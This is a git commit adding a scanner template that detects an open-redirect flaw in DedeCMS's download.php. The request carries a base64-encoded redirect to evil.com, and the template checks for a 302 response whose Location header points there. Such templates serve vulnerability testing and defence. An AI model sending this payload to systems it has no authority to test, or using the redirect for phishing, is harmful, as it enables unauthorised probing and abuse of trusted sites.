Merge pull request #907 from pikpikcu/patch-76

Create dedecms-openredirect
2021-02-20 23:12:33 +05:30 · 2021-02-20 23:12:33 +05:30 · 829ab3d5dd
parent 0f6801816c cd2a3a7a77
commit 829ab3d5dd
1 changed files with 24 additions and 0 deletions
--- a/vulnerabilities/other/dedecms-openredirect.yaml
+++ b/vulnerabilities/other/dedecms-openredirect.yaml
@ -0,0 +1,24 @@
+id: dedecms-openredirect
+
+info:
+  name: DedeCMS Open Redirect
+  author: pikpikcu
+  severity: low
+  reference: https://blog.csdn.net/ystyaoshengting/article/details/82734888
+  tags: dedecms,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plus/download.php?open=1&link=aHR0cHM6Ly9ldmlsLmNvbQo="
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Location: https://evil.com"
+        part: header
+
+      - type: status
+        status:
+          - 302